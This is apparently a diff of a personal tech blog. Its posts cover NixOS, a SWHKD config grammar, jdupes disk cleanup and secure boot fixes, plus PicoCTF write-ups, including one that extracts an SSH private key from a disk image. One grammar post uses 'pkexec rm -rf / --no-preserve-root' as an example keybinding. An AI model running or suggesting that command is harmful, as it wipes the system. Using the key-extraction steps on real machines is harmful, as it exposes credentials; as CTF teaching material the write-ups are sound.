[ 392.656276] rtw_8822ce 0000:04:00.0: failed to poll offset=0x5 mask=0x2 value=0x0
[ 392.656312] rtw_8822ce 0000:04:00.0: mac power on failed
[ 392.656317] rtw_8822ce 0000:04:00.0: failed to power on mac
[ 394.755267] rtw_8822ce 0000:04:00.0: failed to poll offset=0x5 mask=0x2 value=0x0
[ 394.755330] rtw_8822ce 0000:04:00.0: mac power on failed
[ 394.755348] rtw_8822ce 0000:04:00.0: failed to power on mac
```
The driver is `rtw88_8822ce` and the logs say that there was a failure in
powering the card on. In the end, I just bought an external USB 2.0 network card
and blacklisted the kernel modules for the builtin card in my NixOS config.
```nix
boot.blacklistedKernelModules = [ "rtw88_8822ce" ];
```
Another related problem was the WiFi strength itself. With the honking GTX 1650
of a GPU shoehorned into a small form factor, the electromagnetic induction
caused by the GPU also deteriorated the signal strength. I mean, what was I
thinking back when I bought this? I knew I was going to use Linux because I
distinctly remember my previous Arch + i3wm. The reason behind a gaming laptop
was not to play games, Linux did not have great tooling for gaming then. No, I
needed the beefy GPU to crack password hashes for capture the flag challenges
😉. In retrospect, social engineering and educated guesses turned out to be a
way less resource intensive means to, ahem, crack password hashes.
Speaking of the GPU, I severly underestimated how heavy it would make the box. If not for the shape of the laptop, I could easily use
it for weights during workouts.
Lastly, the battery life for gaming laptops suck in general. This is why I'm sticking to lightweight environments for now: window managers like i3 and sway or desktop environments like
XFCE, Cosmic Epoch and KDE. KDE by far is the least resource intensive for the features it provides out of the box. I use it with the vanilla settings apart from the left sidebar.
It is quite the bang for the buck, considering most of you will donate to the devs anyways.
![A screenshot of my current KDE setup](/kde-setup.png)
In conclusion, I don't recommend gaming laptops to developers and leet haxxors. You don't need that GPU horsepower.
The clowns at Realtek produce such hot garbage that I wish their stocks plummet.
Instead, try out the newer ARM devices. They are power efficient and performant. If I have to migrate to a different setup, I'd
probably choose laptops from Framework or System76. Both of these companies make their hardware repairable,
respect user freedom and support Linux out of the box. I'm looking for a setup that would last another decade, [ship of Theseus](https://en.wikipedia.org/wiki/Ship_of_Theseus) style.
**This is not a sponsored article**, all stated opinions are mine and mine alone. I did not get paid to endorse Framework
or System76. I just like what they are doing and I recommend saving up a bit to buy one of their builds.

View File

@@ -0,0 +1,71 @@
---
title: "I Switched to NixOS"
date: 2023-07-08T09:29:34+05:30
tags:
- Meta
- Workflow
- NixOS
draft: false
---
Hi. It's been quite a while since I had last posted. I had been spending my time on some programming projects that withheld me from even participating in CTFs.
Tired of this workflow that I somehow spiraled into, I'm now seeking to learn new things in an attempt to break out of this workflow.
# The End of an Overarching Journey
As any of my long time audience might be familiar with, I daily drove [Arch Linux](https://archlinux.org). A very flexible distribution, Arch allows beginners to get a good grasp of the
Linux way of doing things. It has an amazing package manager as well as [a user repository](https://aur.archlinux.org) for extra software unavailable in the official repositories. It's rather
easy to setup Arch for gaming, thanks to programs like [Lutris](https://lutris.net/) and [Bottles](https://usebottles.com/).
The terminal user interface [installer](https://github.com/archlinux/archinstall) shipped by default has come a long way since its inception and I'm certain that it has made Arch way more beginner friendly than how it was five years ago.
Albeit, this claim is slightly biased since I've been a contributor to the installer for some time now.
I felt that Arch was the endgame. Clearly, it had all the tooling I needed to have a streamlined workflow except for a few hiccups here and there.
That all changed now, I ditched Arch for NixOS.
# Justifications for switching to NixOS
Let's talk about the hiccups I faced when using Arch Linux.
## Atomic Updates
There were some instances following an update to my system where I'd encounter the strangest of problems that even Stack Overflow had no answers to.
I now had an answer, not to the problems individually but to what might have caused them. Unsuccessful updates. A plethora of circumstances including
power outages, batteries dying, unstable network connections and conversely corrupted package downloads would cause some packages to get overwritten
midway through the extraction process resulting in all the aforementioned problems.
In NixOS, all the packages of an update are extracted onto a separate layer from the current working system. The new layer is only available for use
when the entirety of the update has been transacted. This implies, any of the ill circumstances I talked about would completely cancel the transaction
and the new layer would be unavailable for use. This is what is referred to as atomic updates. The update either happens completely, or it does not
happen at all. There is no in-between.
## Generations
The atomicity does not stop at the updates. Whenever we install one or more packages in NixOS, those changes are built on a different layer. These
layers are termed generations. The idea is that if a package causes the system to break because of some software bug, the user can revert to an
older generation that functioned as inteneded. The entire operating system runs an immutable base so that the user cannot accidentally modify a
system binary and shoot themselves in the foot.
## `configuration.nix`
The final piece to the puzzle was reporducibility. Every time I reinstalled Arch due to one of the described problems, it would be extremely difficult
to recall all the extra tools I installed on the previous iterations. The results being a minimal install that amassed baggage every time I realized
in frustration that the tool I needed at the moment was not installed.
NixOS runs the Nix package manager. The entire system can be defined using a single file known as `configuration.nix`. This file is written in a declarative,
functional, lazily evaluated programming language aptly called `nix`. The options in the configuration file vary from bootloader options, networking and users
to edge case situations like installing Nvidia drivers or replacing `sudo` with `doas`. This config file can be separated into multiple files if deemed necessary.
Deploying these configuration on any computer that can run NixOS would result in the same build every time. No more frustration in recalling packages
I would need for my workflow, it's all defined centrally inside `configuration.nix`.
# Conclusion
It has been around a week since I started using NixOS. Although I am in no way an expert in the `nix` language, I find it very intuitive to work with.
The whole learning experience as well as daily driving NixOS has been very enjoyable. I still think Arch is a great disto for beginners to undestand Linux but NixOS felt like the next logical step moving from Arch Linux.
If you find yourself inspired after reading this article, check out this article called [NixOS for the impatient](https://borretti.me/article/nixos-for-the-impatient) as well the [official NixOS website](https://nixos.org/)
to get started. Once you have a rough idea, you could check out [my own NixOS configuration files](https://github.com/lavafroth/dotfiles). Maybe you can incorporate a part of the config you find interesting into your own.
Happy Nixing!

View File

@@ -0,0 +1,174 @@
---
title: "Keep the Keys Clackin'"
date: 2024-05-27T08:59:29+05:30
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
This is the second post in a series of posts I'm writing for Google Summer of Code.
Each post covers a separate topic.
While the previous posts might have given you an overview of ideas, this post will delve
into more technical details. I highly recommend reading the previous posts because I will
refer to them from time to time.
Let's begin with why we chose EBNF grammar in [pest.rs](https://pest.rs) instead of regular expressions.
# Why EBNF?
Let's say we have the following regular expression to match any line that starts with an _"a"_ and ends
with a _"e"_:
```regex
a.*e
```
The dot star matches any character any number of times.
Let's say we supply a word _"apple"_ for this regex to match.
Intuitively we can conclude that the regular expression will match but we often misunderstand how the matching
happens. The regex engine will simply match as much as it can, that is, the `.*` will match upto and
including the last _"e"_. Once it realizes that there are no characters left, it backtracks the `.*` to match slightly less
upto the _"l"_ so that it can match the _"e"_.
![](/swhkd-regex.gif)
This backtracking causes the algorithm to have an exponential time complexity. We want to build a fast parser, one that doesn't
hopefully get throttled by large files or multiple imports. The Extended Backus-Naur Form (EBNF) grammar in _pest.rs_ follows a simple
greedy matching strategy which gives it a rather fast linear time complexity at the cost of us having to be a little bit more careful
while defining our expressions.
# Keys
According to SWHKD's definition of bindings, a keybind declaration must at least be a regular key.
This means, there's technically nothing stopping you from having a binding to a keypress like `a` that runs a command
to annoy the user with notifications.
```
a
notify-send 'LOL you pressed a!'
```
However, generally keys are used in conjunction with modifiers prefixed before them.
From our general intuition, we might be able to conclude that a regular key must contain the ASCII alphanumeric characters,
symbols and control characters like backspace, enter, etc.
Recall from the previous post that our grammar supports shorthands delimited by curly braces and commas.
We also noted that certain keys inside these shorthands must be different from their counterparts outside shorthands.
The most obvious example is specifying a literal curly brace. Inside a shorthand, we have to escape the keys
with a backslash. Thus, `{` has to be written as `\{` inside shorthands.
To respect the difference between these two contexts, keys inside shorthands are modeled differently from those outside.
We start by defining what gets denied or allowed in shorthands.
```
shorthand_bounds = { "{" | "}" }
shorthand_deny = { NEWLINE | shorthand_bounds | "," | "-" }
shorthand_allow = { "\\," | "\\\\" | "\\{" | "\\}" | "\\-" }
```
Now we will define a key to be used in a regular context.
```
key = { ^"enter" | ^"return" | ASCII_ALPHANUMERIC }
key_normal = { send? ~ on_release? ~ (key | "," | "-") }
```
You may ignore the `send` and `on_release` attributes for now but that is the
general definition of keys in the grammar.
```
key_in_shorthand = {
!shorthand_deny ~ send? ~ on_release? ~ (shorthand_allow | key)
}
```
In case of keys in a shorthand, we first make sure that it does not match keys denied in the context of
a shorthand (`!shorthand_deny`). Ignoring the attributes again, we match the allowed escaped versions of
the keys denied earlier (`shorthand_allow`) or any other regular key that does not need escaping.
We had also talked about a convenience features that allowed us to specify a range using dashes.
Since they are meant to be used inside shorthands, we reuse the `key_in_shorthand` expression to define
a key range like so:
```
key_range = { key_in_shorthand ~ "-" ~ key_in_shorthand }
```
We use a blanket expression for building the overall shorthand expression called `key_or_range`. It does
exactly what it says, it is either a bare key or a dashed range in a shorthand context.
```
key_or_range = _{ key_range | key_in_shorthand }
```
Note the use of the underscore while defining the grammar. This allows us to reference the expression without
needlessly exposing it to the code side.
We will now slowly build a shorthand from the expressions defined so far.
Let's think through what makes up a shorthand, starting from the outside.
A shorthand must begin and end in opening and closing curly braces respectively.
```
shorthand = {
"{"
~ // ...
~ "}"
}
```
When does a shorthand make sense to use? Well, we generally use them to define two or more bindings succinctly.
Therefore, we can dedeuce the possible expressions that a shorthand may begin with.
These are as follows:
first | second | example
------|--------|---------
|key | key | `{a,b}`
|key | range | `{a,b-c}`
| | range | `{a-c}`
We can model these three cases in the grammar like so:
```
(key_in_shorthand ~ "," ~ key_in_shorthand)
| (key_in_shorthand ~ "," ~ key_range)
| key_range
```
These starting expressions can be followed by one or more keys or ranges. This is where the blanket expression `key_or_range` we defined
earlier make our lives easy. We can also make the above expression a little concise by abusing the blanket expression.
You see, for the first two possibilities, we are essentially saying that it needs to be a `key_in_shorthand`, a comma
and *either another key or a range*. So those two can boil down to use a `key_or_range` after the comma.
```
(key_in_shorthand ~ "," ~ key_or_range)
| key_range
```
Putting it all together, we get the following expression for a shorthand.
```
shorthand = {
"{"
~ ((key_in_shorthand ~ "," ~ key_or_range) | key_range)
~ ("," ~ key_or_range)*
~ "}"
}
```
Here `("," ~ key_or_range)*` represents the zero or more keys or ranges that the user may supply after the starting sequence.
That's all for today, I hope my explanation was not too convoluted. In the next post, I will talk about the `send` and the `on_release`
attributes that describe the timing of a keypress and how we handle the grammar for them.
Talk to you then!

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,86 @@
---
title: "Liberating 14GiB of disk space"
tags:
- Powershell
- Windows
- Workflow
date: 2022-02-21T13:15:26+05:30
draft: false
---
The idea is simple:
- Remove all duplicates, including zero length files
- Fine tuning: Hand-pick and remove files deemed unnecessary
Since the mileage for second step might vary from person to person, I'll elaborate on the first step.
I chose [jdupes](https://github.com/jbruchon/jdupes) as my weapon of choice for finding and removing the duplicates.
It's free and open-source and is cross platform.
For a given folder we would run the following to wipe the duplicates:
```powershell
jdupes -rdNz .
```
Let me explain the flags:
Flag|Explanation
-|-
`r`|Find duplicates recursively
`d`|Delete duplicates
`N`|No-prompt: when used with the `d` flag, it keeps the first file and removes all the others in a collection of duplicates
`z`|Consider zero length files to be duplicates
The `.` here means the current directory.
Please read the tool's help page for more granular control during the cleanup.
The computer in question runs Microsoft Windows and there's a thing
common in almost all Windows setups, *drives*.
This was a glaring issue. There could be files that are unique in a given drive but are actually duplicates
in the inter-drive space. There are two ways to combat this.
First method:
- Run jdupes on a drive to free some space
- Move some data from other drives into the current drive to fill it up again
- Repeat
This, obviously, is a terrible idea beacause we have the overhead cost of moving the files after each run
as well as the fact that we have to run jdupes exhaustively for many iterations.
Second (and probably the more elegant) method:
- From the space of drives to be cleaned, pick a random drive (parent)
- Hardlink all the other drives from the space into the drive we picked previously (children)
- Run jdupes
This method only requires us to run jdupes once.
Assuming we have picked the `A` drive as the parent and the `E` drive is one of the children,
we would run the following powershell command to hardlink `E` drive to a folder called `Edrive` in `A`.
```powershell
New-Item -ItemType HardLink -Path A:\Edrive -Value E:\
```
We would repeat this for all the children drives, modifying the command
ever so slightly to meet our needs.
This implies that when we run jdupes from the root of the `A` drive, it would
traverse the hardlinks and find duplicates in the inter-drive space.
Next, we'd go to the root of `A` drive and run jdupes.
```powershell
A:
jdupes -rdNz .
```
Finally we remove the hardlinks:
```powershell
rm A:\Edrive
```
> Note: Do not run jdupes at `SYSTEMROOT` (`C:` drive for most people)
as there are legitimate duplicates which, if deleted, can brick a system. I'd recommend
running jdupes in individual directories like _Music_, _Documents_, etc.

View File

@@ -0,0 +1,120 @@
---
title: "Modeling More Realistic Keybinds With Modifiers"
date: 2024-06-05T10:26:13+05:30
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
Real world keybindings for shortcuts often involve more than just a simple keypress, especially outside the context of
a single application. The general distinction for these two types involves modifier keys. When I talk about a shortcut
bound to `super` `v`, chances are you automatically think of global bindings at the operating system or desktop environment
level. Today we'll go through the process of writing the grammar for these bindings for swhkd.
Welcome to the fifth instalment in the series where we build a config parser using Rust and _pest.rs_. I highly recommend
you going through the previous posts because I'll refer to them from time to time.
Let's begin by defining possible modifiers that can be used by our parser. The EBNF grammar expression looks like the following:
```
modifier = {
^"alt"
| ^"altgr"
| ^"control"
| ^"ctrl"
| ^"mod1"
| ^"mod4"
| ^"mod5"
| ^"shift"
| ^"super"
| ^"any"
}
```
We are using the or operator (`|`) to match any of the strings. Notice the use of the caret (`^`) before the start of every string.
We do this to ensure that the matched modifiers are case insensitive. There's not a lot for us to do when it comes to a regular
binding like the following:
```
super + v
pkexec rm -rf / --no-preserve-root
```
However, there are a few quirks with how modifiers behave inside shorthands. Recall from the first general overview post that
modifiers can also be placed inside shorthands, separating each variant with a comma.
```
super + {alt, ctrl} + a
ls {foo, bar}
```
During early development, I had created a copy of the expression for regular keys to match modifiers. Turns out, the strict
set of possible modifiers actually eliminates quite some pain that we went through developing expressions for regular keys.
The most obvious simplification is not needing to match the characters denied in a shorthand.
Since pest and other EBNF parsers are greedy parsers, we had to explicitly make sure that the expression for keys starts out
by _not_ matching any of the denylist characters.
```
key_in_shorthand = { !shorthand_deny ~ key_attributes ~ (shorthand_allow | key_base) }
```
Notice we had to negate (`!`) `shorthand_deny` before we could even start matching key attributes and such.
In case of modifier, our match pool gets narrowed to the few strings we defined earlier. Thus, we don't even have to think about
having a denylist, those characters would not be considered as modifers to begin with.
With this simplification in mind, we can now create a shorthand expression for modifiers.
```
modifier_shorthand = { "{" ~ (modifier ~ ",")+ ~ modifier ~ "}" }
```
We defined the expression such that it starts and ends with curly braces, the boundary delimiters of shorthands and two or more comma
separate modifiers. So far so good.
Now let's come to omissions. Omissions allow us to, well, omit modifiers inside shorthands. Using omissions requires us to replace one
of the shorthand variants with an underscore. Each of the remaining variants that are not omitted must be suffixed with a concatenator `+`
while the contcatenator outside the shorthand gets remove.
You can imagine the outside plus shifting inside the shorthand, getting distributed across all the non omitted variants.
```
super + {alt +, _, shift +} a
ls {foo, bar, baz}
```
Since this is the only time we don't have a trailing concatenator, we model this expression separately. We start out by defining an omission.
```
omission = { "_" }
modifier_omit = _{ omission | (modifier ~ concat) }
modifier_omit_shorthand = { "{" ~ modifier_omit ~ ("," ~ modifier_omit)+ ~ "}" }
```
Each variant (`modifier_omit`) inside such a shorthand can either be an omission or a modifier _and_ a concatentator.
We can then package multiple of these up into a single expression like we did previously with the regular modifier shorthand.
For all the other cases where the concatenator is outside the shorthand context, we create a blanket expression.
```
modifier_or_shorthand = _{ (modifier | modifier_shorthand) ~ concat }
```
Let's combine the expressions we have built so far to build one of the workhorse primitives in our parser: a trigger for a binding.
```
trigger = _{ (modifier_or_shorthand | modifier_omit_shorthand)* ~ (key_normal | shorthand) }
```
Notice how there is no explicit concatenator between the expression for one or more modifiers (or their shorthands) and the trailing
key (or their shorthands). This is because we have already encoded where the plus sign should be in the individual expression for
`modifier_or_shorthand` and `modifier_omit_shorthand`.
The expression for a trigger is meaningless outside the context of a binding. Thus, the expression is silenced with the underscore at the start.
If you are wondering why this is not a complete binding, remember we still need to make room for commands and comments.
In fact, that's going to be the topic for the next post, so stay tuned and I'll see you around!

View File

@@ -0,0 +1,114 @@
---
title: "Modes, Unbinds and Other Ensembled Parser Patterns"
date: 2024-06-10T08:27:06+05:30
tags:
- EBNF
- Google Summer of Code
- Rust
- SWHKD
- Waycrate
- Wayland
draft: false
---
Hello and welcome to the sixth instalment in this series where we build a parser
for a domain specific language from scratch. I would highly recommend you to go
through the previous articles to make sense of what we'll talk about today.
So far, we have built ranges, shorthands and bindings, starting all the way down
from primitives such as keys and modifiers. Continuing with the theme, we will
ensemble these patterns together along with some newer syntax to build modes.
SWHKD allows us to define additional properties to one or more bindings
by wrapping them in mode blocks. These properties can describe whether
bindings are meant as _one-off_ bindings that immediately exit a mode
or that they must _swallow_ the keypresses and not emit any uinput events.
The syntax of a mode definition is akin to that of `if` statements in bash.
A mode block begins with the word `mode` and ends with the word `endmode`.
The keyword `mode` must be followed by a name for future reference
while debugging a config.
```
mode my_mode_name
# ...
# bindings go here
# ...
endmode
```
The mode name can be followed by one or more mode properties: `oneoff` and
`swallow` as we discussed earlier. Non unqiue properties get automatically
removed. Inside the mode, we can add one or more bindings, comments and unbinds.
Thus, an example mode block could look like the following:
```
mode dir oneoff swallow
{super, alt} + {ctrl, shift} + l
{ls, exa} {\-a, \-A} -l
ignore alt + l
endmode
```
Hold on, what is that `ignore` statement? Well, that is an unbind statement.
It is rather trivial to implement which is why it does not get its own section.
An unbind is a single statement that begins with ignore followed by the `trigger`
for a binding that we built in a previous article. It is modelled in the grammar
side simply as:
```python
unbind = { "ignore" ~ trigger }
```
Coming back to modes, we define the oneoff and swallow expressions like the following:
```python
oneoff = { "oneoff" }
swallow = { "swallow" }
```
Due to the way EBNF greedily processes inputs, we need to make sure that the mode name
that comes before any of these properties do not accidentally also match them. To do this,
we have to explicitly negate the aforementioned expressions in the token (character) set for mode
names.
```python
modename_characters = _{ !NEWLINE ~ !(oneoff | swallow) ~ ANY }
```
We can now have one or more of these mode name characters build an entire mode name.
```python
modename = { modename_characters+ }
```
For the contents inside a mode, we will create a union representation of comments, bindings
and unbinds as `primitives`. This facilitates easier reuse in future expressions.
```python
primitives = _{ comment | unbind | binding }
```
Since this is a expression catered towards convenience and we don't need it on
the code side, we have silenced it with a leading underscore. For the home stretch now,
let's put all of these smaller expressions together to build the mode expression itself.
```python
mode = {
"mode" ~ modename ~ oneoff? ~ swallow? ~ comment?
~ NEWLINE ~ WHITESPACE*
~ (primitives ~ NEWLINE)+
~ "endmode"
}
```
We started with the keyword `mode`, followed by a mode name, one or more properties and an optional comment.
Then we move onto the next line where there might be some whitespaces for visual structure and finally one or
more primitives (bindings, comments and unbinds) separated by newlines. Lastly, we end with the `endmode`
statement.
Note that we did not need to care about indentation when talking about modes since they have explicit markers
around their start and end.
Okay, that's about it for now, I'll see you in the next article.

View File

@@ -0,0 +1,93 @@
---
title: "NixOS Secureboot Shenanigans"
date: 2024-12-20T12:26:10+05:30
draft: false
tags:
- Nix
- NixOS
- Secureboot
- sbctl
- lanzaboote
- Debugging
---
# Key takeaways
- This issue only pertains to secureboot on NixOS using lanzaboote. Most Linux users have secureboot disabled. If you are paranoid like me and have enabled it, continue reading.
- Make sure to track the latest version of `lanzaboote`. ([example](https://github.com/lavafroth/dotfiles/commit/4d64808ffbc135b5bf5a61df17ef02d7da8452b7))
- Set the PKI bundle location to the newer `sbctl` default. ([example](https://github.com/lavafroth/dotfiles/commit/1fa71734bb3af83b8de9134e68f0153f49a18205))
# Deprecated `overrideScope'`
For the past few months, I started noticing this new warning when rebuilding my system with `nixos-rebuild`.
```
warning: `overrideScope'` will be deprecated soon
```
I thought nothing of it since NixOS sometimes has these small spans of time when things are being migrated.
A couple days ago, I bumped my flake with `nix flake update` and this somewhat longstanding warning turned into
and error.
```
error: attribute 'overrideScope'' missing
```
After a bit of digging around I discovered that the problem was caused due the out-of-date `crane` dependency
required for [`lanzaboote`](https://github.com/nix-community/lanzaboote/), the Rust utility for the secure boot shim[^1]. After looking through [this issue on github](https://github.com/nix-community/lanzaboote/issues/411)
as well as the lanzaboote repository, it dawned on me that I had been using a version of lanzaboote released even before July this year.
This meant I had to update the version in my `flake.nix` inputs like so
```diff
lanzaboote = {
- url = "github:nix-community/lanzaboote/v0.3.0";
+ url = "github:nix-community/lanzaboote/v0.4.1";
inputs.nixpkgs.follows = "nixpkgs";
};
```
With that, I ran another `nix flake update` and enqueued my system for a rebuild.
I deleted a few entries from `/boot/EFI/nixos` because the [new release](https://github.com/nix-community/lanzaboote/releases/tag/v0.4.1) uses double the scratch space as needed by the previous version. Also, I had around 16 older generations of my setup for the sake of posteriety.
# Where is the PKI Bundle?
The rebuild led to yet another error, this time concerning a nonexistent path.
```
Installing Lanzaboote to "/boot"...
Failed to install generation 303: Get stub name: No such file or directory (os error 2)
Failed to install bootloader
warning: error(s) occurred while switching to the new configuration
```
The hardest part of debugging this was to know what program was causing this issue and what path it was looking for.
Fortunately, we can use `strace` to see what system calls are being made by `nixos-rebuild`. We also add the `-f` flag to follow the system
calls of child processes.
```sh
sudo strace -f nixos-rebuild boot --flake /home/h/Public/dotfiles#cafe
```
From the obscenely long logs which I will spare you from reading, one could observe that the secureboot key management tool `sbctl`
looks for the path `/var/lib/sbctl`. This correlates with [this issue](https://github.com/nix-community/lanzaboote/issues/413) and [this commit](https://github.com/Foxboron/sbctl/blob/cd6dd1c6a02f5b4b3b93669e78671b656ddcfe67/config/config.go#L107C19-L107C34) confirming that `sbctl` has switched the default
public key infrastructure bundle (`pkiBundle`) location to `/var/lib/sbctl`.
I finally solved the issue by setting the respective parameter in my config.
```nix
boot.lanzaboote = {
enable = true;
pkiBundle = "/var/lib/sbctl";
};
```
I recommend performing garbage collection on your system before queueing another rebuild because the last error
causes you to land in a generation that is unavailable in the systemd-boot menu.
Honestly, I think this whole issue would have been much easier to resolve if `sbctl` spelled out the path it was looking for in the error message.
Anyways, that's all for today, hope this helps!
[^1]: I have two NixOS outputs defined for my work setup, one with secureboot and another without. See my system config [here](https://github.com/lavafroth/dotfiles).

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,82 @@
---
title: "Twosum"
tags:
- Binary Exploitation
- CTF
- PicoCTF
date: 2023-04-10T08:44:28+05:30
draft: false
---
This is a rather simple binary exploitation challenge. We are given the following source
code for the program running on the remote server:
```c
#include <stdio.h>
#include <stdlib.h>
static int addIntOvf(int result, int a, int b) {
result = a + b;
if(a > 0 && b > 0 && result < 0)
return -1;
if(a < 0 && b < 0 && result > 0)
return -1;
return 0;
}
int main() {
int num1, num2, sum;
FILE *flag;
char c;
printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
fflush(stdout);
printf("What two positive numbers can make this possible: \n");
fflush(stdout);
if (scanf("%d", &num1) && scanf("%d", &num2)) {
printf("You entered %d and %d\n", num1, num2);
fflush(stdout);
sum = num1 + num2;
if (addIntOvf(sum, num1, num2) == 0) {
printf("No overflow\n");
fflush(stdout);
exit(0);
} else if (addIntOvf(sum, num1, num2) == -1) {
printf("You have an integer overflow\n");
fflush(stdout);
}
if (num1 > 0 || num2 > 0) {
flag = fopen("flag.txt","r");
if(flag == NULL){
printf("flag not found: please run this on the server\n");
fflush(stdout);
exit(0);
}
char buf[60];
fgets(buf, 59, flag);
printf("YOUR FLAG IS: %s\n", buf);
fflush(stdout);
exit(0);
}
}
return 0;
}
```
In order to trigger the program to disclose the flag, we need to supply two numbers that are greater that 0 and result in an integer overflow.
Since this is C and there is no integer overflow check, we can simply supply the maximum interger value for the first number and the value 1 for
the second. Adding them would cause the result to wrap around and become negative.
We `echo` the following to the remote netcat connection:
```
2147483647 1
```
This results in the program handing us the flag.
```
picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_482d8fc4}
```

View File

@@ -0,0 +1,143 @@
---
title: "Pixelated"
tags:
- Cryptography
- CTF
- Image Reconstruction
- PicoCTF
- Rust
- Visual Cryptography
date: 2022-11-22T09:25:20+05:30
draft: false
---
This challenge gives use two images and asks us if we can make a flag out of them.
At first glance, both the images look like noise. Upon a quick web lookup of
[visual cryptography](https://en.wikipedia.org/wiki/Visual_cryptography), it appears
that these separate images, known as shares of the original image, can be overlayed
on each other to reconstruct the original image.
## Exploration
Now, I'm pretty sure that there are online services that will automatically solve these
but I decided to write some code to solve this locally. For the past week, I've been
learning the Rust programming language and this was the perfect excuse to test my knowledge.
First, we will create a cargo project. Let's call it "solve".
```sh
cargo new solve
```
We'll then add the image library (crate) using cargo.
```sh
cargo add image
```
Now let's get some Rust in action. We'll start by editing the `src/main.rs` file.
First, we import the required types with the use statement.
```rust
use image::{GenericImageView, ImageBuffer, Pixel, RgbaImage};
```
We'll now write the main function. Let's open the images and store handles to them
in variables `a` and `b`.
```rust
fn main() {
let a = image::open("scrambled1.png").unwrap();
let b = image::open("scrambled2.png").unwrap();
}
```
For sanity check, let's make sure that the dimensions are the same for both the images.
```rust
if a.dimensions() != b.dimensions() {
panic!("Image dimensions don't match.");
}
```
Next, we'll create an image buffer for reconstructing the composite image.
```rust
let mut imgbuf: RgbaImage = ImageBuffer::new(a.width(), a.height());
```
Looping over the pixels in the shares,
```rust
for ((x, y, p), (_, _, q)) in a.pixels().zip(b.pixels()) {
}
```
we sum the values in each channel ...
```rust
&p.channels()
.iter()
.zip(q.channels().iter())
.map(|(c0, c1)| c0.checked_add(*c1).unwrap_or(*c0))
.collect::<Vec<u8>>(),
```
... and place the new pixel into the image buffer.
```rust
for ((x, y, p), (_, _, q)) in a.pixels().zip(b.pixels()) {
imgbuf.put_pixel(x, y, *Pixel::from_slice(
// --snip--
),
);
}
```
Finally, we save the image buffer into "flag.png".
```rust
imgbuf.save("flag.png").unwrap();
```
The entire code looks like the following:
```rust
fn main() {
let a = image::open("scrambled1.png").unwrap();
let b = image::open("scrambled2.png").unwrap();
// the shares must have the same dimensions
if a.dimensions() != b.dimensions() {
panic!("Image dimensions don't match.");
}
// create an empty buffer for the composite image
let mut imgbuf: RgbaImage = ImageBuffer::new(a.width(), a.height());
for ((x, y, p), (_, _, q)) in a.pixels().zip(b.pixels()) {
imgbuf.put_pixel(
x,
y,
*Pixel::from_slice(
&p.channels()
.iter()
.zip(q.channels().iter())
.map(|(c0, c1)| c0.checked_add(*c1).unwrap_or(*c0))
.collect::<Vec<u8>>(),
),
);
}
imgbuf.save("flag.png").unwrap();
}
```
After saving this file, we place the images in the current directory. Let's
compile and run the program.
```sh
cargo run
```
Viewing "flag.png" shows us the flag in pixelated text.
![flag.png](/picoctf-cryptography-challenge-pixelated.png)

View File

@@ -0,0 +1,339 @@
---
title: "Operation Oni, Operation Orchid"
tags:
- CTF
- Forensics
- PicoCTF
- The Sleuth Kit
date: 2022-03-18T07:10:17+05:30
draft: false
---
In this post, we'll walk through the Operation Oni and Operation Orchid challenges
from the PicoCTF competition held in March 2022. Both of these challenges involve
the use of tools from The Sleuth Kit suite. In order to follow along, I'd recommend
installing the suite of tools.
# Operation Oni
The challenge has an associated instance which we'll need to log into using SSH using
the following command:
```bash
ssh -i key_file -p 61948 ctf-player@saturn.picoctf.net
```
We are provided with a compressed disk image `disk.img.gz` which we'll decompress with:
```bash
gunzip disk.img.gz
```
To list the partition table for the given disk image, we will use the `mmls` command.
If `mmls` is unable to properly determine the filesystem of a given volume, we can
specify it using the `-t` flag.
Let's run `mmls` on the disk image by itself.
```bash
mmls disk.img
```
```none
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)
003: 000:001 0000206848 0000471039 0000264192 Linux (0x83)
```
We can see two linux partitions, one starting at offset `2048` and another at `206848`
In order to list the files in a given volume, we can use the `fls` command. For this,
we will need to specify the offset of the volume using the `-o` flag.
Let's take a look at the first partition at offset `2048`.
```bash
fls -o 2048 disk.img
```
```none
d/d 11: lost+found
r/r 12: ldlinux.sys
r/r 13: ldlinux.c32
r/r 15: config-virt
r/r 16: vmlinuz-virt
r/r 17: initramfs-virt
l/l 18: boot
r/r 20: libutil.c32
r/r 19: extlinux.conf
r/r 21: libcom32.c32
r/r 22: mboot.c32
r/r 23: menu.c32
r/r 14: System.map-virt
r/r 24: vesamenu.c32
V/V 25585: $OrphanFiles
```
This looks like the boot partition of a linux installation.
Let's move on to the next partition at offset `206848`.
```bash
fls -o 206848 disk.img
```
```none
d/d 458: home
d/d 11: lost+found
d/d 12: boot
d/d 13: etc
d/d 79: proc
d/d 80: dev
d/d 81: tmp
d/d 82: lib
d/d 85: var
d/d 94: usr
d/d 104: bin
d/d 118: sbin
d/d 464: media
d/d 468: mnt
d/d 469: opt
d/d 470: root
d/d 471: run
d/d 473: srv
d/d 474: sys
V/V 33049: $OrphanFiles
```
This looks like the standard linux filesystem hierarchy where we can see the `/home` and `/root` directories.
Let's investigate the `/root` directory. To do so, we will append the inode number associated with the
directory as an argument to `fls`.
The inode number of `/root` is `470` here.
```
d/d 470: root
```
We'll run the previous command with the inode number.
```bash
fls -o 206848 disk.img 470
```
```none
r/r 2344: .ash_history
d/d 3916: .ssh
```
Here, we can see the `.ssh` directory and the root user's shell history file. We'll try listing
the `.ssh` directory. Again, we'll supply the associated inode number, here, `3916`.
```bash
fls -o 206848 disk.img 3916
```
```
r/r 2345: id_ed25519
r/r 2346: id_ed25519.pub
```
Here, we can see a pair of SSH private and public keys. The one ending in `.pub` being the public key.
Private keys are often used as an alternative to password authentication to SSH into a machine.
We'll dump the content of this file using the `icat` command. For using this command, we'll need
to specify the offset of the volume and the inode number of the file, `2345` here.
We'll redirect the output of the command into a file called `key_file`.
```bash
icat -o 206848 disk.img 2345 > key_file
```
We can try using the private key to authenticate since this key is not password protected.
Before running the SSH command, we must set the permissions on the file to read / write only
by us.
```bash
chmod 600 key_file
```
Let's use the command that was provided with the challenge.
```bash
